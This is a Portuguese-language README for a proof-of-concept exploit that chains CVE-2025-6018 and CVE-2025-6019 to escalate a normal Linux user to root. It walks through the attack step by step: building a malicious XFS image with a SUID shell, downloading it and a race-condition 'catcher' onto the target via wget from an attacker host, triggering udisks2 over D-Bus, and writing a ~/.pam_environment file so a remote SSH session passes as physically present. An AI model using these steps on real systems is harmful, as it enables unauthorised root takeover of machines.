CVE-2025-6018 e CVE-2025-6019: PoC de Escalação Local de Privilégios

Uma Prova de Conceito (PoC) robusta para encadear CVE-2025-6018 (Bypass de Sessão Ativa do PAM/Polkit) e CVE-2025-6019 (Falha de Montagem SUID no libblockdev) para obter acesso root em sistemas Linux vulneráveis.

Aviso Legal

Esta ferramenta é destinada apenas a fins educacionais e pesquisa de segurança autorizada. Não use esta ferramenta em sistemas que você não possui ou para os quais não tenha permissão explícita para testar.

---

A Cadeia de Vulnerabilidades

Este exploit encadeia duas falhas lógicas para escalar privilégios de um usuário comum para root:

1. CVE-2025-6018 (A Entrada): Uma configuração incorreta no PAM/Polkit permite que sessões SSH remotas sejam marcadas como Active=yes. Esse truque convence o sistema de que o usuário remoto está fisicamente presente no console, contornando os requisitos de senha para ferramentas de gerenciamento de hardware como udisks2.
2. CVE-2025-6019 (A Arma): A biblioteca libblockdev (usada pelo udisks2) não aplica o sinalizador de segurança nosuid ao montar temporariamente um sistema de arquivos para operações de manutenção (como Check ou Resize).

A Cadeia de Ataque

1. Preparação: Criamos uma imagem XFS maliciosa contendo uma shell root SUID estática.
2. Contorno: Dependemos do status de sessão Active=yes para montar essa imagem como um dispositivo de loop sem senha.
3. Gatilho: Emitimos uma chamada D-Bus para Filesystem.Check. Isso força o udisks2 a montar temporariamente a imagem para verificá-la. Crucialmente, essa montagem temporária não possui nosuid.
4. Condição de corrida: Um programa C compilado ("O Sniper") monitora /proc/mounts em tempo real. No momento em que a montagem temporária aparece, ele executa o payload SUID antes que o sistema a desmonte.

---

Uso

Fase 1: Preparação (Máquina do Atacante)

Como a máquina alvo geralmente não possui ferramentas como mkfs.xfs ou gcc, geramos o payload localmente.

1. Execute o script de build no Kali/Parrot:

   root@kitploit:~

   ./build_poc.sh
   

   • Cria exploit.img (imagem XFS de 400MB com shell SUID).
   • Compila catcher (o vencedor da condição de corrida).

2. Envie os arquivos para o alvo: Inicie um servidor Python:

   root@kitploit:~

   python3 -m http.server 80
   

   Na máquina alvo (ex.: em /tmp):

   root@kitploit:~

   wget http://<YOUR_IP>/exploit.img
   wget http://<YOUR_IP>/catcher
   chmod +x catcher
   

Fase 2: Exploração (Máquina Alvo)

1. Baixe o script de exploit: Salve o conteúdo de exploit.sh deste repositório na máquina alvo.

2. Execute o exploit:

   root@kitploit:~

   chmod +x exploit.sh
   ./exploit.sh
   

3. Aproveite o Root: O script configurará automaticamente o dispositivo de loop, iniciará o catcher em segundo plano e acionará a vulnerabilidade. Você deve cair em uma shell root imediatamente.

---

Solução de Problemas

"Autenticação é necessária para configurar um dispositivo de loop"

Se o script pedir uma senha, sua sessão SSH não está ativa. Correção:

1. Crie ~/.pam_environment:
   root@kitploit:~

   echo "XDG_SEAT=seat0" > ~/.pam_environment
   echo "XDG_VTNR=1" >> ~/.pam_environment
   

2. Faça logout e login novamente.
3. Verifique com loginctl show-session $XDG_SESSION_ID | grep Active. Deve dizer Active=yes.

"Condição de corrida falhou / Sem shell"

A janela vulnerável tem apenas alguns milissegundos de duração.

• Certifique-se de usar o catcher C compilado (incluído em build_poc.sh), não um loop em Bash.
• O script usa o método Filesystem.Check, que é mais confiável que Resize.

---

Manifesto de Arquivos

build_poc.sh (Lado do Atacante)

Automatiza a criação da imagem maliciosa e compila os binários estáticos.

exploit.sh (Lado do Alvo)

O orquestrador. Ele cuida de:

1. Verificar a Sessão Ativa.
2. Iniciar o catcher em segundo plano.
3. Configurar o dispositivo de loop via udisksctl.
4. Acionar a chamada D-Bus Filesystem.Check.

---

Créditos

• Descoberta Original: Qualys Research Team (CVE-2025-6018, CVE-2025-6019) https://www.helpnetsecurity.com/2025/06/18/chaining-two-lpes-to-get-root-most-linux-distros-vulnerable-cve-2025-6018-cve-2025-6019/